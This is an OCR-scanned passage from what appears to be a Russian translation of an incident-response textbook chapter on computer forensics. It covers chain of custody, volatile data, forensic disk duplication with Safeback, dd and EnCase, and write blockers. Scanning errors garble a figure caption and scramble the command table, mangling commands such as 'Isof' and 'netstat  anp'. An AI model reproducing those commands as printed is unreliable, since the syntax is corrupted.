FRE1001(3) определяет одно из таких исключений:
"если данные хранятся в компьютере или аналогичном устройстве, любые
распечатки или другой вывод, доступный для просмотра, точно воспроиз
водящий данные, является оригиналом".

98
Глава 5
Это условие позволяет исследователям использовать судебное програм-
мное обеспечение и системные инструменты для создания точного пред-
ставления оригинальных данных системы. Значит данные, извлеченные из
рассматриваемого компьютера, могут быть представлены в качестве дока-
зательства, если данные являются беспристрастным и точным представле-
нием оригинала. Подобная информация должна быть разобрана с юриди-
ческой точки зрения на основе правила лучшего доказательства при
условии, что это не противоречит федеральным законам или законам штата.
Порядок хранения
Если информация, собранная во время расследования, должна использова-
ться в судебном разбирательстве, обвинение обязано доказать, что пред-
ставленное в суд является тем, что было собрано. Основным способом реа-
лизации этого является поддержание подробного списка людей, которые
контролировали доказательства в каждом месте, от сбора до конечного рас-
положения. В интересах организации обращаться со всеми инцидентами с
позиции, что каждое действие, которое предпринимается во время реаги-
рования на инцидент, может однажды оказаться в рассмотрении людей,
желающих дискредитировать ваши методики. Поэтому начинайте поддер-
живать порядок хранения потенциальных доказательств как можно раньше
в процессе реагирования.
Мы создаем карточку доказательства для каждого жесткого диска или ин-
формационной среды, которая исследуется. На рис. 5.1 представлена лице-
вая сторона используемой формы карточки доказательства. Здесь вносится
следующая информация:
Время и дата действия
Номер, который присвоен данному случаю
Номер карточки этого конкретного доказательства
Требуется или нет разрешение и подпись человека, владеющего ин-
формацией, которая изымается в качестве доказательства
Кому принадлежало доказательство до изъятия, или кто предоставил
информацию
Полное описание доказательства, включая размер, если необходимо
Кто получил доказательство и подпись получателя
Обратная сторона карточки доказательства (см. рис. 5.2) предоставляет
метод поддержания подробного списка людей, непосредственно ответст-
венных за обращение с доказательством в ходе расследования. Он отслежи-
вает следующую информацию:
От кого было получено доказательство и в каком месте
Дата получения
Причина передачи доказательства другому человеку
Кто получил доказательство, и где это произошло

Компьютерный судебный процесс
99^
Рис. 5.1. Лицевая сторона карточки доказательства
Рис. 5.2. Обратная сторона картчки доказательства

100
Глава 5
Каждый раз, когда доказательство меняет владельца или перемещается
с одного типа информационной среды на другой, необходимо записать
это перемещение. Другими словами, при переносе исходного судебного
дубля с жесткого диска на множество компакт дисков необходимо записать
этот перенос.
В дополнение к карточке доказательства важно документировать инфор-
мацию о конкретных позициях, когда они изымаются. Например, если мы
решили сделать судебное дублирование нескольких почтовых серверов, рас-
положенных в одном рабочем помещении, начинаем записывать следующую
информацию. Информацию можно записывать в переносной компьютер
при выполнении расследования. Однако мы предпочитаем использовать
блокнот и ручку.
Люди, которые занимают рабочее помещение
Имена сотрудников, которые могут иметь доступ в это помещение
Расположение компьютерных систем в комнате
Состояние системы (является ли она включенной, и что видно на эк-
ране)
Сетевые или модемные соединения
Люди, присутствующие во время выполнения судебного дублирования
Серийные номера, модели, и изготовители жестких дисков и компо-
нентов системы
Периферийное оборудование, присоединенное к системе
Критически важно записать всю эту информацию и поддерживать поря-
док хранения. Хорошо документированная карточка доказательства требует
для своего создания всего несколько минут.
ВЫПОЛНЕНИЕ НАЧАЛЬНОГО РЕАГИРОВАНИЯ
Существуют горячие дебаты о том, должна ли команда реагирования немед-
ленно выключить систему при обнаружении инцидента. В "старые времена"
компьютерных судебных дел это был широко поддерживаемый метод. К со-
жалению, такая практика может разрушить критически важные доказатель-
ства. В случаях вторжения атакующие научились использовать изменчивую
среду хранения. Уровень, на котором можно скрыть данные, зависит от
уровня доступа к системе и технической компетентности атакующего. Мето-
ды меняются от скрытых каталогов до загружаемых модулей ядра и неском
понованных файлов. К счастью, обученный следователь может обнаружить
эту информацию, пока система остается активной.
Извлечение изменчивых данных из компьютерной системы до создания
судебного образа (файл образа информационной среды источника) означа-
ет, что исследователь работает на оригинальном доказательстве, и это не-
сет риск изменения этого доказательства --- нарушение одного из базовых
правил компьютерного судопроизводства. Если это необходимо для рас

Компьютерный судебный процесс
101
сматриваемого случая, то действия должны выполняться исследователем, ко-
торый точно знает процессы, нужные для извлечения данных. Этот человек
не только должен хорошо знать определенный процесс, но и уметь обосно-
вать свои действия в том случае, если инцидент дойдет до суда.
Изменчивые данные
Когда сообщается об инциденте, необходимо выполнить некоторые дейст-
вия на действующей системе. Только потом можно осуществить судебное
дублирование этой системы. Сначала нужно получить как можно больше
изменчивых данных, а затем выключить систему доказательства для судеб-
ного дублирования. В следующем списке первые четыре пункта теряются,
если система будет выключена.
Содержимое регистров, кэша
Содержимое памяти
Состояние сетевых соединений
Состояние выполняющихся процессов
Содержимое информационной среды хранения
Содержимое сменной информационной среды и среды резервного
копирования
Мы участвовали в нескольких расследованиях, где все доказательства
принадлежали первым четырем категориям. Большинство опытных взлом-
щиков компьютеров понимают, что данные области представляют уникаль-
ные признаки для исследователей. Наиболее изменчивые элементы нахо-
дятся выше в списке, в то время как более устойчивые, надежные методы
хранения перечислены в конце.
В настоящее время не существует причин для восстановления содержи-
мого кэша и регистров центрального процессора. Фактически попытка сде-
лать это изменит память. Этот уровень данных был включен с целью полно-
ты. Во время исследования можно безопасно игнорировать содержимое
подобных областей.
Содержимое памяти можно восстановить, но помните, что при этом бу-
дут изменены две основные области. Страницы в области памяти будут мо-
дифицированы. Когда выполняется приложение для дампа содержимого
оперативной памяти, компьютерная система выделит память для процесса.
Данные из дампа памяти будут перезаписывать информацию в информаци-
онной среде места назначения. Так как вы не должны перезапускать систе-
му, вы будете помещать образ на смонтированную, или активную файловую
систему. Можно сохранить целостность файловой системы, если образ па-
мяти помещается в судебную рабочую станцию через закрытое сетевое сое-
динение. Такой процесс проще всего выполнить под UNIX, так как многие
из утилит являются стандартными для операционной системы. Некоторые
операционные системы, включая Sun Solaris, позволяют администратору
присоединять устройства SCSI к работающей системе.

102
Глава 5
Получение состояния сетевых соединений и выполняющихся процес-
сов имеет небольшое влияние на систему. Информация обычно хранится в
таблицах, расположенных в памяти ядра, и простое чтение данных в этих
структурах не должно вызывать изменений. Подобные таблицы обычно
предоставляют наиболее важные данные.
Избегайте, если возможно, просмотра действующей системы
Восстановление действующих данных во время начальной реакции должно
выполняться только, когда имеются доказательства продолжающегося се-
тевого преступления. Запись изменчивых данных, таких как выполняющи-
еся процессы и текущие сетевые соединения, не всегда соответствует ситу-
ации. Поскольку процедуры начальной реакции могут технически быть
более сложными, чем судебное дублирование, и большинство официаль-
ных лиц правосудия меньше знакомы с этими действиями, их необходимо
избегать, если они считаются ненужными.
Просмотр действующей системы
В таблице 5.1 суммируются действия для получения некоторых изменчи-
вых данных во время начальной реакции и команды UNIX и Windows. От-
метим, что начальная реакция для операционных систем Windows и UNIX
включает одинаковые действия, но различные команды. Действия началь-
ной реакции для систем Windows подробно рассмотрены в главе 9, а для си-
стем UNIX --- в главе 11.
Прежде чем рассматривать действующую систему, создайте подробный
план и придерживайтесь его как сценария. Документирование является
жизненно важным, так как вы будете выполнять команды и изменять рабо-
чую среду на машине жертве. Отмечайте каждое действие, так как во время
просмотра журналов системы или отметок времени файлов рабочие замет-
ки позволят позже идентифицировать системные изменения, которые вы-
звали ваши действия.
Таблица 5.1. Действия реагирования на действующей системе
Действие
Создать новую рабочую оболочку
Записать системную дату и время
Определить, кто зарегистрирован в системе
Записать открытые соединения
Перечислить процессы, которые открыли соединения
Перечислить текущие выполняющиеся процессы
Перечислить системы, которые присоединялись
в последнее время
Записать системное время
Записать выполненные действия
Windows NT/2000
cmd.exe
date, time
loggedon
netstat
fport
pslist
nbtstat
date, time
doskey
UNIX
bash
w
w
netstat  anp
Isof
ps
netstat
w
script, vi, history

Компьютерный судебный процесс
103
ОСТОРОЖНО Компьютер изменяет состояния при взаимодействии с пользовате-
лем, выполнении процесса, передачах данных и т.д.; поэтому данные
в оперативной и внешней памяти должны измениться. Жизненно
важно понимать изменения, которые будут происходить при выпол-
нении команды или операции. При работе за консолью не забывайте
подробно документировать каждое действие.
При извлечении информации из машины доказательства обратите вни-
мание на необычные вещи, которые наблюдаются в системе. При оконча-
нии запланированных действий оцените необходимость дальнейшего ис-
следования необычных моментов. Задайте себе вопросы "что, если". Что
произойдет, если выполнить найденный новый исполнимый файл? На что
он подействует? Что если это утилита, оставленная злоумышленником, ко-
торая может вызвать повреждение в системе? Какими будут последствия,
если данная утилита запустит атаку против другой сети или компании? До-
статочно часто опытный исследователь будет намеренно отклоняться от
запланированного сценария, чтобы извлечь другой журнал. Но помните,
что опыт позволит исследователю точно узнать, какие возможны отклоне-
ния при импровизации и выполнении незапланированных действий.
НАГЛЯДНЫЙ ПРИМЕР
В недавнем случае наш клиент использовал распределенную систему мо-
ниторинга сети. Система мониторинга состояла из агентов на хосте и в
сети, которые сообщали в центральное расположение об обновлении
статуса. Однажды поздно вечером на пейджер системного администрато-
ра был послан сигнал, уведомляющий его, что сервер системы имен до-
менов (DNS) отказывается отвечать в течение более получаса. Админист-
ратор проверил список процессов и обнаружил, что процесс с именем
"named" выполняется, но не принимает запросы таким же образом, как '
раньше. Рабочая команда сделала копию двоичного кода процессов и вы-
ключила систему. При выполнении анализа образа дубликата было обна-
ружено, что программа, осуществляющаяся как "named", не находилась в
активной части файловой системы. Если бы команда начального реаги-
рования не сделала копию перед выключением системы, это было бы
трудно обнаружить. Выключенный демон был. модифицированной вер-
сией старого демона Berkley Internet Name. Модификации предоставили
атакующему доступ к оболочке административного уровня, когда атакую-
щий посылал демону специальную строку запроса.
ВЫПОЛНЕНИЕ СУДЕБНОГО ДУБЛИРОВАНИЯ
Каждое исследование предписывает различный подход. Вы обнаружите,
что некоторые случаи включают детальную, почти максимально возмож
ную реакцию, где требуется дублирование всех систем, и каждый сектор об
раза необходимо тщательно проверить в поисках информации, С другой
стороны может быть более приемлемым выполнение слабо воздействую
щего поиска.

104
Глава 5
При любой реакции основной приоритет состоит в следовании всем
правилам поиска доказательств. Лучший выбор заключается в сохранении
в безопасном месте оригинального диска, похожего на судебный дубликат,
и в выполнении всего анализа на копии, восстановленной с дублированно-
го образа. Когда вовлечены сетевые рабочие станции, персональные
компьютеры или автономные системы, рекомендуется завершить каждую
фазу дублирования и восстановления. Когда приходится иметь дело с сер-
верами или другими доступными системами, может понадобиться выпол-
нить логическое резервное копирование, восстанавливая насколько воз-
можно системные журналы, журналы приложений и существенные файлы.
Когда необходимо судебное дублирование? Это распространенный во-
прос во многих организациях, которые не имеют ресурсов для создания су-
дебного дубля для каждого расследования. Рекомендуется рассмотреть:
Возможно ли применение юридических действий?
Является ли это заметным инцидентом?
Имеются ли существенные денежные потери в связи со значитель-
ным разрушением бизнеса?
Понадобится ли восстановление данных для доказательства случая?
Придется ли искать свободное пространство или неактивное про-
странство, чтобы извлечь доказательство?
ВНИМАНИЕ Свободное пространство и неактивное пространство являются об-
ластями файловой системы. Они содержат фрагменты информа-
ции, которая может иметь влияние на расследование (см. раздел
"Выполнение судебного анализа").
Если вы ответили "да" на любой из этих вопросов, то желательно со-
здать судебный дубль.
При существенном увеличении емкости памяти информационной сре-
ды организации оценивают эффективность судебного дублирования на
основе обстоятельств, сопутствующих инциденту. Это изменяющийся об-
лик компьютерного судопроизводства. В прошлом все дублировалось, включая
устройства RAID и ленты резервного копирования. Теперь исследователь
должен принять в расчет всю совокупность обстоятельств. До возникнове-
ния инцидента необходимо создать политики, которые определяют, когда
судебное дублирование будет подходящей реакцией (см. главу 3).
Подходы к судебному дублированию
Если допускается, что дублирование является лучшим средством, следующий
шаг состоит в обеспечении того, что имеется определенная методология со-
здания образа в манере соответствующей судебной. Самой сложной частью
создания судебного дубля является наличие соответствующей укладки кабеля
и оборудования. Наиболее оптимальной платформой для использования яв-
ляется полнофункциональная система на основе Intel. Это значит, что она
укомплектована набором устройств памяти. Если исследование приводит на

Компьютерный судебный процесс
105
сервер с внешним устройством 32GB SCSI 2 68 pin, нужно быть готовым его
воспроизвести.
К судебному дублированию в зависимости от ситуации применяют три
различных подхода:
Копирование среды хранения информации, удаляя ее с подозритель-
ного компьютера и присоединяя к судебной рабочей станции
Копирование среды хранения информации, присоединяя жесткий
диск к целевому компьютеру (обычно подозреваемому компьютеру)
Копирование среды хранения информации, посылая копию диска по
закрытой сети на судебную рабочую станцию, когда она будет создана
Удаление информационной среды доказательства
Первый метод является наиболее традиционным. В прошлом многие право-
охранительные агентства изымали всю систему и везли ее в судебную лабо-
раторию. Теперь судебные эксперты обычно доставляют судебную рабочую
станцию (систему "переносного" класса), которая имеет отсеки для сменных
дисков и большой объем памяти для дублирования на месте. Команда реаги-
рования документирует данные самой системы, отмечая все серийные номе-
ра, настройки переключателей и видимые повреждения. Жесткие диски до-
казательства удаляются из своих систем и индивидуально копируются с
помощью Safeback, команды UNIX dd, или EnCase. Когда члены команды ре-
агирования используют свою собственную судебную рабочую станцию, а не
рассматриваемую систему, проблемы аппаратной и программной несовмес-
тимости и копирования среды хранения минимизируются, позволяя судеб-
ному техническому персоналу быстро и надежно собрать данные.
Присоединение жесткого диска
Второй подход копирования --- присоединение жесткого диска к целевому
компьютеру --- является таким же распространенным, как и первый метод.
В обоих случаях процесс по сути является одним и тем же. Если вы решите
использовать подозрительную систему в качестве платформы для копиро-
вания, позаботьтесь об обеспечении правильного действия оборудования.
НАГЛЯДНЫЙ ПРИМЕР
Во время исследования, включающего потерю собственной информации
компании, были скопированы компьютеры более 25 сотрудников. Мы обна-
ружили пятнадцать 60 Гбайтных жестких дисков и перенесли пять самых
быстрых систем в зал заседаний. После копирования пяти систем были
отложены подозрительные жесткие диски. Каждый компьютер настроен
для работы в качестве копирующей рабочей станции. Команда раздели-
лась на две группы. Одна группа обходила помещение и снимала все же-
сткие диски. Она передавала каждый диск второй группе, которая управ
ляла процессом копирования и документирования процедур команды.
Когда с дисками было закончено, первая группа вернула их в свои соот
ветствующие системы, а офисные системы в исходную конфигурацию.

106
Глава 5
Передача копии по сети
Передача копии по сети выполняется обычно, когда система UNIX исполь-
зуется в качестве платформы копирования. Это включает создание загру-
зочного диска Linux или компакт диска, который поддерживает различное
дисковое и сетевое оборудование.
Обычно создается двухточечное соединение от подозрительной системы к
судебной рабочей станции с помощью стандартного соединительного кабеля
Ethernet или коммутатора Fast Ethernet. Судебная рабочая станция конфигури-
руется для получения данных на порт TCP и переадресации его в локальный
файл. Если судебная рабочая станция имеет достаточный объем дискового
пространства и оперативной памяти, можно копировать несколько систем
одновременно. Это является безопасным, так как мы можем положиться на
несколько уровней обеспечения целостности данных. Прежде всего мы по-
лагаемся на встроенную проверку ошибок и элементы управления сегмен-
тацией данных в клиентских слоях сетевого соединения и TCP операцион-
ной системы. После окончания процесса выполняются вычисления MD5
на полученном файле копии, а также на исходном диске. Когда эти значения
совпадают, имейте в виду, что копия была получена судебным способом.
Проверка низкоуровневой конфигурации системы
Базовая система ввода/вывода (BIOS) на персональном компьютере явля-
ется программно аппаратным средством, которое система использует во
время процесса начальной загрузки для идентификации жестких дисков в
системе, а также устройств хранения (жесткие диски, гибкие диски, внеш-
ние диски и т.д.), которые содержат собственную операционную систему
(операционную систему, которая используется при загрузке информацион-
ной среды доказательства для анализа). Необходимо проверить BIOS систе-
мы доказательства со следующими целями:
Определить геометрию диска информационной среды доказательства
(жесткий диск, который необходимо исследовать)
Определить последовательность начальной загрузки системы
Если желательно выполнить судебное дублирование жесткого диска, не
удаляя его из ПК, необходимо загрузить этот ПК с помощью контролируемо-
го гибкого диска или компакт диска. Крайне нежелательно случайно загрузи-
ться из операционной системы информационной среды доказательства.
Необходимо просмотреть системную последовательность загрузки в BIOS.
Определение геометрии диска
Система доказательства должна загружаться с контролируемого загрузоч-
ного гибкого диска и автоматически определять параметры жестких дис-
ков (геометрию). На рис. 5.3 показан пример Phoenix BIOS с контроллером
первичного диска, заданным как Auto.

Компьютерный судебный процесс
107
Рис. 5.З. Phoenix BIOS настроен на Auto
При просмотре конфигурации жесткого диска в BIOS запишите пара-
метры, обнаруженные программно аппаратным средством. Задокументи-
руйте настройки, которые выводятся. Это станет важно, если вы решите
восстановить судебную копию на диске с радикально другими параметрами.
Предположим, что мы используем утилиту Safeback (которая скоро будет
описана) для копирования небольшого в 105 Мбайт диска с 216 цилиндра-
ми, 15 головками и 63 секторами. Вы приносите копию в свою лаборато-
рию и восстанавливаете ее на чистом диске в 25 Гбайт. Диск в 25 Гбайт име-
ет другие геометрические параметры по сравнению со диском в 105 Мбайт.
Safeback имеет возможность выравнивания данных для разбиения по
границам цилиндров. Во время анализа выравнивание цилиндров не будет
влиять на результаты. Однако если разрешить исходной операционной си-
стеме загрузиться с восстановленной копии и разбиения не будут выровне-
ны по границам цилиндров, операционная система может вести себя неу-
стойчиво или может не закончить процесс начальной загрузки. Если
встроенное средство выравнивания цилиндров в Safeback не срабатывает,
измените геометрию диска целевой информационной среды в BIOS, чтобы
соответствовать исходному диску доказательства, прежде чем восстанавли-
вать копию.

108
Глава 5
ВНИМАНИЕ Целевой информационной средой является среда, на которую дуб-
лируется среда доказательства. Другими словами, судебная копия
диска доказательства переносится на целевую информационную
среду.
Определение последовательности начальной загрузки
Следующий шаг состоит в обеспечении загрузки системы с того устройст-
ва, с которого ожидается (судебные аналитики ненавидят сюрпризы). Ког-
да система загружается, судебный аналитик держит одну руку на тумблере
выключения питания или перезагрузки, а другую руку на клавише актива-
ции BIOS.
На рис. 5.4 показаны различные варианты устройств загрузки, доступ-
ные для систем, использующих Phoenix BIOS. Отметим, что система может
загружаться с загрузочных дополнительных карт. Мы видели, как несколь-
ко аналитиков перевозили загружаемый жесткий диск PCMCIA для изъя-
тия жестких дисков переносного компьютера.
Когда система будет загружена, выбранный метод резервного копирова-
ния будет диктовать следующие действия. Помните при этом, что вы рабо-
таете с оригинальным доказательством и что каждое предпринятое дейст-
вие необходимо определить, обдумать и документировать.
Рис. 5.4. Проверка последовательности загрузки системы

Компьютерный судебный процесс
109
Утилиты судебного дублирования
Требования, которым должен удовлетворять программный продукт, чтобы
стать надежной судебной утилитой, перечислены ниже:
Приложение должно иметь возможность копировать каждый бит дан-
ных в информационной среде хранения. Каждый байт должен копи-
роваться с начала диска и до технологического трека.
Приложение должно обрабатывать ошибки чтения надежным обра-
зом. Если процесс не может после нескольких попыток прочитать по-
врежденный сектор, то сектор пропускается и "замещающий" сектор,
идентичный по размеру, помещается в поток вывода.
Приложение не должно делать никаких изменений в исходном дока-
зательстве.
Приложение должно иметь возможность придерживаться научного
подхода к тестированию и анализу. Результаты должны быть воспро-
изводимы и проверяемы независимой стороной, если необходимо.
Создаваемый файл копии должен защищаться контрольной суммой
или алгоритмом хеширования. Эта функциональность может выпол-
няться одновременно с созданием файла (Safeback) или в конце про-
цесса копирования (dd и md5sum).
Основными утилитами, доступными для судебного копирования, явля-
ются Safeback, EnCase и dd. Safeback является бесспорным лидером в судеб-
ном дублировании. С помощью Safeback было раскрыто больше судебных
доказательств, чем с помощью любого другого программного обеспечения
для судебного копирования. EnCase, компании Guidance Software создает
файлы доказательства, а не реальные дубликаты. Однако фактически файл
доказательства EnCase функционирует как полный и аккуратный дубликат
информационной среды доказательства. Примерно в 1995 г. команда UNIX
dd стала популярной в качестве судебной утилиты для дублирования. Эта
утилита была недавно модифицирована, чтобы сделать ее более удобной
при использовании в судебных целях. Следующие разделы описывают, как
использовать Safeback, dd и EnCase.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Safeback: http://www.forensics intl.com
EnCase: http://www.guidancesoftware.com
ИСПОЛЬЗОВАНИЕ SAFEBACK
Safeback может создавать дубли судебного вида любого жесткого диска, ко
горый доступен контроллеру дисков системы, включая EIDE, АТА66 и SСSI,
В режиме Backup (резервного копирования) Safeback создает сжатый файл
судебной копии, который можно сохранить практически на любой доступ
ный магнитный носитель информации. Она будет легко обрабатывать

110
Глава 5
несколько сменных устройств (например, стек картриджей Zip) или
устройства на магнитной ленте (если только предварительно решить все
проблемы с драйверами и техникой).
ВНИМАНИЕ Первоначально Safeback был создан Чаком Гузисом, так же как
Anadisk, CopyQM, и TeleDisk. Недавно компания Sydex продала
программу New Technologies, Inc. (NTI).
Safeback является небольшим приложением, которое создано для выпол-
нения с загрузочного гибкого диска DOS. Дистрибутив состоит из четырех
исполняемых файлов:
Master.exe является главным исполняемым файлом. Используйте его
для операций резервного копирования и восстановления системы.
Remote.exe предоставляет Safeback возможность копировать диски
через параллельные соединения.
RestPart.exe сохраняет и восстанавливает таблицы разделов.
TASPI.exe является утилитой, используемой для сканирования шины
SCSI в поисках активных устройств.
Большую часть времени единственным необходимым файлом является
master.exe. Можно скопировать его на надежный загрузочный гибкий диск.
При выполнении параллельного копирования в параллельный порт необ-
ходимо выполнить remote.exe на системе доказательства, позволяя судеб-
ной рабочей станции скопировать диск доказательства через параллельное
кабельное соединение.
Создание управляемого загрузочного гибкого диска DOS
Один из основных законов компьютерного судопроизводства запрещает за-
гружаться когда либо с диска доказательства. Многие элементы среды дока-
зательства могут измениться, начиная с момента, когда BIOS выполняет за-
грузочный блок на жестком диске. Во время начального процесса загрузки
в течение секунд могут измениться отметки времени доступа к файлам, ин-
формация разбиения, конфигурационные файлы и файл реестра и сущест-
венные файлы журналов. Копирование системы требует чистой операци-
онной среды. При копировании дисков с помощью Safeback это означает,
что должен создаваться загрузочный диск MS DOS. С помощью MS DOS 6.22
или Windows 95 следующие команды отформатируют и скопируют систем-
ные файлы на гибкий диск:
C:\format а:\ /s
В корневом каталоге гибкого диска должны находиться четыре файла.
Эти файлы содержат код, который позволяет компьютеру выполнять мини-
мальную операционную систему.
Directory of A:\
05/11/1998 20:01
222,390 I0.SYS
05/11/1998 20:01
68,871 DRVSPACE..BIN

Компьютерный судебный процесс
111
05/11/1998
03/20/1999 20:01
17:49
93,880 C0MMAND.COM
9 MSDOS.SYS
Первый файл, который обрабатывает компьютер, будет IO.SYS. Код в
IO.SYS загружает содержимое MSDOS.SYS и начинает инициализировать
драйверы устройств, тестирует и приводит в исходное состояние оборудо-
вание и загружает интерпретатор команд COMMAND.COM.
Во время процесса загрузки драйверов устройств, если диск или раздел,
соединенный с машиной, использует программное обеспечение сжатия, та-
кое как DriveSpace или DoubleSpace, IO.SYS загружает файл драйвера
DRVSPACE.BIN. Нежелательно, чтобы это произошло при выполнении су-
дебного дублирования. При загрузке драйвера он будет монтировать сжатый
том и показывать операционной системе несжатое представление файловой
системы. Когда он монтирует сжатый том, он изменяет отметку времени и
даты на сжатом файле. А это означает, что доказательство будет изменено.
Предотвращение загрузки DRVSPACE.BIN
Чтобы избежать изменения доказательства, необходимо убедиться, что загруз-
ка файла драйвера DRVSPACE.BIN не выполнена. Простое удаление файла яв-
ляется хорошим началом, но IO.SYS достаточно разумен, чтобы проверить
корневые каталоги всех активных разбиений в поисках этого файла. Наи-
более эффективным способом предотвращения загрузки DRVSPACE.BIN
является загрузка IO.SYS в шестнадцатеричный редактор и самостоятель-
ное изменение строк. Используется Norton's Disk Editor для выполнения
редактирования файла. Загрузив файл в шестнадцатеричный редактор, вы-
полним поиск строки по слову "SPACE". Мы ищем что нибудь относящееся
к DriveSpace или DoubleSpace. На рис. 5.5 показана первая найденная стро-
ка, расположенная с шестнадцатеричным смещением 7D93.
Рис. 5.5. Первое меа омоложение i i| и "M'AI I" и К) SY1,

112
Глава 5
Рис. 5.6. Изменение строки "DRVSPACE.BIN" на "XXNULLXX.XXX"
Нам требуется, чтобы DOS не смогла загрузить этот файл, поэтому нужно
изменить имя на значение, которое невозможно найти в файловой системе.
На рис. 5.6 показано, что имя файла было изменено на XXNULLXX.XXX
(мы всегда используем одно и то же значение, просто для последовательно-
сти). Отметим, что точка в имени файла на самом деле не представляется в
исполнимом файле.
Продолжим поиск в файле строки "SPACE". Всего существуют четыре эк-
земпляра этой строки в файле IO.SYS, которые необходимо изменить. Ког-
да все будет сделано, сохраните файл и выйдите из шестнадцатеричного ре-
дактора. В целях безопасности удалите также файл DRVSPACE.BIN с гибкого
диска.
Использование блокировки записи
Теперь вы имеете надежный загрузочный гибкий диск MS DOS. Следующий
шаг состоит в поиске блокиратора записи на жесткий диск. Использование
программы блокировки записи предоставляет значительно более безопас-
ную среду при создании аналитиком судебной копии, так как препятствует
записи на защищенные диски.
Блокираторы записи используют метод, называемый маскированием преры-
вания для перехвата запросов записи на магнитный носитель информации.
Прерывания являются методом, с помощью которого программное обеспе-
чение компьютера информирует операционную систему, что нужно что то
сделать. Прерывания 13 и 21 являются первичными средствами чтения и
записи на жесткие диски. UNIX и Windows NT/2000 имеют другие ме годы,
поэтому мы обычно придерживаемся MS DOS версии 6.22 или MS DOS 7.0
из Windows 95/98 во время операций судебного резервного копирования.

Компьютерный судебный процесс
113
Программа блокирования записи будет устанавливать фильтр, который пе-
рехватывает все вызовы прерывания 13 и прерывания 21 для оценки распо-
ложения запрошенной записи. Если запрос предназначен для защищенно-
го диска, то блокировщик записи будет молчаливо отбрасывать данные,
переданные ему для записи, и действовать, как если бы ничего не произош-
ло. Блокировщиком записи хорошего качества на коммерческом рынке яв-
ляется PDBlock компании Digital Intelligence, Inc.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
PDBlock: http://www.digitalintel.com
Создание судебного дубля с помощью Safeback
Копирование системы с помощью Safeback является достаточно простым
процессом, но требует много времени. На рис. 5.7 показан начальный эк-
ран запуска для Safeback. Он предлагает четыре режима работы:
Функция Backup создает файл, соответствующий судебной копии ин-
формационной среды источника.
Функция Restore восстанавливает файлы, соответствующие судебной
копии.
Функция Verify проверяет значения контрольных сумм в файле копии.
Функция Сору выполняет операции Backup и Restore в одном действии.
Рис. 5.7. Экран запуска Safeback

114
Глава 5
Предпочтительнее использовать функцию Backup для создания файла
копии при выполнении судебного дублирования. Редко применяется функ-
ция Сору.
Создание журналов резервного копирования и восстановления
При запуске Safeback программа просит указать месторасположение для со-
здания файла аудита. Файл аудита является важным, так как он служит для
документирования процесса, с помощью которого выполняется судебное
дублирование. Этот файл должен храниться вместе с заметками о расследо-
вании, когда Safeback закончит свою работу.
В файле аудита Safeback хранит все обнаруженные настройки, а также
поле комментариев исследователя. Поле комментариев становится пре-
красным местом для хранения важной идентификационной информации.
Обычно вводятся следующие данные:
Месторасположение, где было получено доказательство
Изготовитель и модель жесткого диска источника
Серийный номер жесткого диска источника
Кто создавал копию и когда
Настройки Safeback и важные системные конфигурационные на-
стройки
Далее следует результат работы Safeback.
Safeback execution started on Tue Jan 8, 2001 10:21 PM.
77777 00
Registered User
Organization
Alexandria, VA
Backup file E:\124\DW 7.SFB created.
Backup file comment record:
Case:7
Quantum Fireball Hard Drive, 1.2 Gig
Serial # 152294643734 F
Part Number FB12A012
Source: CEO Office DW
Settings:
Direct = No
Adj = Auto
Backup Operation Selected.
Backing up drive 1: to E:\124\DW 7.SFB on Tue Jan 8, 2001 10:24 PM
Local SafeBack is running on DOS 6.22
Source drive 1:
1223 MB on 621 cylinders, 64 heads, 63 512 byte sectors per track.
Partition table for drive 1:

Компьютерный судебный процесс
115
Act Cyl Hd Set Rel Sector
MB Type
Y
011
63 1221 FAT 16  > 32MB
Backup file CRC: ea1b4d2d
Backup of drive 1: completed on Tue Jan 8, 2001 10:59 PM.
Журнал восстановления вполне похож на журнал резервного копирова-
ния. Он включает значения контрольной суммы (CRC) и описательные ин-
формационные блоки в файле копии Safeback. Далее следует пример жур-
нала восстановления Safeback.
Safeback execution started on Tue Jan 8, 2001 11:58 PM.
77777 00
Registered User
Organization
Alexandria, VA
Backup file created on Tue Jan 8, 2001 10:24 PM
by Registered User, Organization, Alexandria, VA .
Backup file comment record:
Case:7
Quantum Fireball Hard Drive, 1.2 Gig
Serial # 152294643734 F
Part Number FB12A012
Source: CEO Office DW
Settings:
Direct = No
Adj = Auto
Backup file E:\124\DW 7.SFB opened for access.
Restore Operation Selected.
Restore of drive 1: from E:\124\DW 7.SFB to drive 1:
begun on Tue Jan 8, 2001 11:59 PM
Local Safeback is running on DOS 6.22
Source drive 1:
1223 MB on 621 cylinders, 64 heads, 63 512 byte sectors per track.
Destination drive 1:
1626 MB on 826 cylinders, 64 heads, 63 512 byte sectors per track.
Partition table for drive 1:
Act Cyl Hd Set Rel Sector MB Type
Y
011
63 1221 FAT 16  > 32MB
Restore of drive 1: to drive 1: completed on Wed Jan 9, 2001 12:40 AM
The whole file CRC verifies: ea1b4d2d
SafeBack execution ended on Wed Jan 9, 2001:14 AM.

116
Глава 5
Выбор параметров Safeback
В основе выбора функции на экране запуска Safeback находятся параметры
Direct Access и Use XBIOS. Они относятся к тому, как Safeback получает доступ
к жестким дискам и контроллерам жестких дисков. Параметр Direct Access по-
зволяет Safeback общаться непосредственно с контроллером диска на жестком
диске для получения информации о геометрии и для облегчения переноса не-
обработанных данных. Действием по умолчанию является использование
стандартных вызовов BIOS для выполнения этих функций. Используйте рас-
ширенную систему BIOS (XBIOS), когда применяется диск источник больше
8.4 Гбайт. Использование значения Auto для Use XBIOS является безопас-
ным выбором. Если для Safeback возникают проблемы с определением реа-
льной геометрии жесткого диска, измените оба значения. Различные систе-
мы BIOS, драйверы устройств и типы оборудования будут вызывать время
от времени некоторые проблемы. Не забудьте задокументировать все изме-
нения, которые делаете в настройках.
Параметры Adjust Partitions и Backfill on Restore используются при вос-
становлении дисков. Как обсуждалось ранее, настройка разбиений в соот-
ветствии с границами цилиндров может быть важной, если вы намерены
разрешить восстановленной копии загружаться. Safeback предлагает возмож-
ность заполнить оставшееся пространство среды хранения места назначе-
ния с помощью нулей, если вы, например, восстанавливаете диск 2.1 Гбайта
на диске 30 Гбайт.
Safeback будет сжимать данные только в том случае, когда единственное
значение повторяется во всем секторе. Например, если 25 секторов были не-
давно перезаписаны символом null, Safeback запишет сокращенную версию,
эффективно сжимая повторяющиеся данные. Эта утилита не использует ни-
каких других методов сжатия, так как они могут помешать при поиске строк.
Сжатие сектора можно отключить с помощью параметра Compress Sector
Data.
